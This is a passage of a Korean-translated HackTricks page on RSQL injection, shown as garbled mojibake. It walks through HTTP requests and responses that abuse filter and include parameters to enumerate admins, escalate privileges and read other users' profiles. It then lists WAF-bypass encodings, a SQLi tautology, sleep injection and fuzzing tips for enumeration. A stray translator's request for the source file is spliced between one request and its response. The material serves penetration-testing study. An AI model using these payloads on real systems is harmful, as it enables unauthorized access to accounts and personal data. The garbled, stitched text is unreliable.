ํŠน์ • ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์—ญํ• (role)์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž ๊ถŒํ•œ์„ ํ™•์ธํ•˜๋Š” ๊ฒฝ์šฐ๋ฅผ ๋ฐœ๊ฒฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋งค์šฐ ๋†’์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํ˜„์žฌ ๊ถŒํ•œ์ด ์—†๋Š” ์‚ฌ์šฉ์ž๋กœ ์ž‘์—…ํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด๋ด…์‹œ๋‹ค:

Request

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

์‘๋‹ต

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

ํŠน์ • ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

์›๋ณธ ํŒŒ์ผ(src/pentesting-web/rsql-injection.md)์˜ ๋‚ด์šฉ์„ ์ œ๊ณตํ•ด ์ฃผ์„ธ์š”. ๋‚ด์šฉ์„ ๋ถ™์—ฌ๋„ฃ์œผ๋ฉด ์š”์ฒญํ•˜์‹  ๊ทœ์น™(๋งˆํฌ๋‹ค์šด/HTML ๊ตฌ๋ฌธ ์œ ์ง€, ์ฝ”๋“œยท๊ธฐ์ˆ ๋ช…ยท๋งํฌยท๊ฒฝ๋กœ ๋“ฑ์€ ๋ฏธ๋ฒˆ์—ญ)์— ๋”ฐ๋ผ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

๊ด€๋ฆฌ์ž ์‚ฌ์šฉ์ž์˜ identifier๋ฅผ ์•Œ๊ฒŒ ๋˜๋ฉด, ํ•ด๋‹น filter๋ฅผ ๊ด€๋ฆฌ์ž identifier๋กœ ๊ต์ฒดํ•˜๊ฑฐ๋‚˜ ์ถ”๊ฐ€ํ•˜์—ฌ ๋™์ผํ•œ privileges๋ฅผ ํš๋“ํ•˜๋Š” privilege escalation์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์š”์ฒญ

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

In addition to the use of the filter parameter, it is possible to use other parameters such as include which allows to include in the result certain parameters (e.g. language, country, passwordโ€ฆ).

In the following example, the information of our user profile is shown:

์š”์ฒญ

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

filters์˜ ์กฐํ•ฉ์€ authorization control์„ ์šฐํšŒํ•˜์—ฌ ๋‹ค๋ฅธ users์˜ profiles์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

์‘๋‹ต

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

ํƒ์ง€ ๋ฐ fuzzing quickwins

  • RSQL ์ง€์› ์—ฌ๋ถ€๋Š” ?filter=id==test, ?q==test ๊ฐ™์€ ๋ฌดํ•ดํ•œ ํ”„๋กœ๋ธŒ๋‚˜ ์ž˜๋ชป๋œ ์—ฐ์‚ฐ์ž =foo=๋ฅผ ๋ณด๋‚ด ํ™•์ธํ•˜์„ธ์š”; verbose APIs๋Š” ์ข…์ข… ํŒŒ์„œ ์˜ค๋ฅ˜๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค (โ€œUnknown operatorโ€ / โ€œUnknown propertyโ€).
  • ๋งŽ์€ ๊ตฌํ˜„์ฒด๊ฐ€ URL ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋‘ ๋ฒˆ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค; (, ), *, ;๋ฅผ ์ด์ค‘ ์ธ์ฝ”๋”ฉ(์˜ˆ: %2528admin%2529)ํ•ด ๋‹จ์ˆœํ•œ ์ฐจ๋‹จ ๋ชฉ๋ก๊ณผ WAFs๋ฅผ ์šฐํšŒํ•ด๋ณด์„ธ์š”.
  • Boolean exfil with wildcards: filter[users]=email==*%@example.com;status==ACTIVE ๊ทธ๋ฆฌ๊ณ  , (OR)๋กœ ๋…ผ๋ฆฌ๋ฅผ ๋’ค์ง‘์–ด ์‘๋‹ต ํฌ๊ธฐ๋ฅผ ๋น„๊ตํ•˜์„ธ์š”.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01)๋Š” ์ •ํ™•ํ•œ ID๋ฅผ ๋ชจ๋ฅธ ์ฑ„ ์—ฐ๋„ ๋‹จ์œ„๋กœ ๋น ๋ฅด๊ฒŒ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

ํ”„๋ ˆ์ž„์›Œํฌ๋ณ„ ์•…์šฉ (Elide / JPA Specification / JSON:API)

  • Elide์™€ ๋งŽ์€ Spring Data REST ํ”„๋กœ์ ํŠธ๋Š” RSQL์„ JPA Criteria๋กœ ์ง์ ‘ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๊ฐ€ ์ปค์Šคํ…€ ์—ฐ์‚ฐ์ž(์˜ˆ: =ilike=)๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  prepared parameters ๋Œ€์‹  ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ๋กœ predicates๋ฅผ ๊ตฌ์„ฑํ•˜๋ฉด SQLi๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํด๋ž˜์‹ ํŽ˜์ด๋กœ๋“œ: name=ilike='%%' OR 1=1--').
  • Elide analytic data store๋Š” parameterized columns๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค; ์‚ฌ์šฉ์ž ์ œ์–ดํ˜• analytic params์™€ RSQL ํ•„ํ„ฐ๋ฅผ ๊ฒฐํ•ฉํ•œ ๊ฒƒ์ด CVE-2022-24827์˜ SQLi ๊ทผ๋ณธ ์›์ธ์ด์—ˆ์Šต๋‹ˆ๋‹ค. ํŒจ์น˜๋œ ๋ฒ„์ „์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐํ™”๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋˜์–ด ์žˆ์–ด๋„ ์œ ์‚ฌํ•œ ๋งž์ถคํ˜• ์ฝ”๋“œ๊ฐ€ ๋‚จ์•„์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋ฏ€๋กœ ${}๋ฅผ ํฌํ•จํ•˜๋Š” @JoinFilter/@ReadPermission SpEL ํ‘œํ˜„์‹์„ ์ฐพ์•„ ';sleep(5);' ๋˜๋Š” ๋…ผ๋ฆฌ์  ํ•ญ์ง„์„ ์ฃผ์ž…ํ•ด๋ณด์„ธ์š”.
  • JSON:API ๋ฐฑ์—”๋“œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ include์™€ filter๋ฅผ ๋ชจ๋‘ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์—ฐ๊ด€ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ง(filter[orders]=customer.email==*admin*)์€ relation-level filters๊ฐ€ ์†Œ์œ ๊ถŒ ๊ฒ€์‚ฌ๋ณด๋‹ค ๋จผ์ € ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ตœ์ƒ์œ„ ACL์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž๋™ํ™” ๋„์›€ ๋„๊ตฌ

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋กœ์ปฌ์—์„œ ๊ฒ€์ฆํ•˜๊ณ  ์ถ”์ƒ ๋ฌธ๋ฒ• ํŠธ๋ฆฌ๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค โ€” ๊ท ํ˜• ์žกํžŒ ๊ด„ํ˜ธ์™€ ์ปค์Šคํ…€ ์—ฐ์‚ฐ์ž ์ œ์ž‘์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • HTTP fuzzer (ffuf, turbo-intruder)์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ: =in= ๋ฆฌ์ŠคํŠธ ์•ˆ์—์„œ ์™€์ผ๋“œ์นด๋“œ ์œ„์น˜ *a*, *e* ๋“ฑ์„ ๋ฐ˜๋ณตํ•˜์—ฌ ID์™€ ์ด๋ฉ”์ผ์„ ๋น ๋ฅด๊ฒŒ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ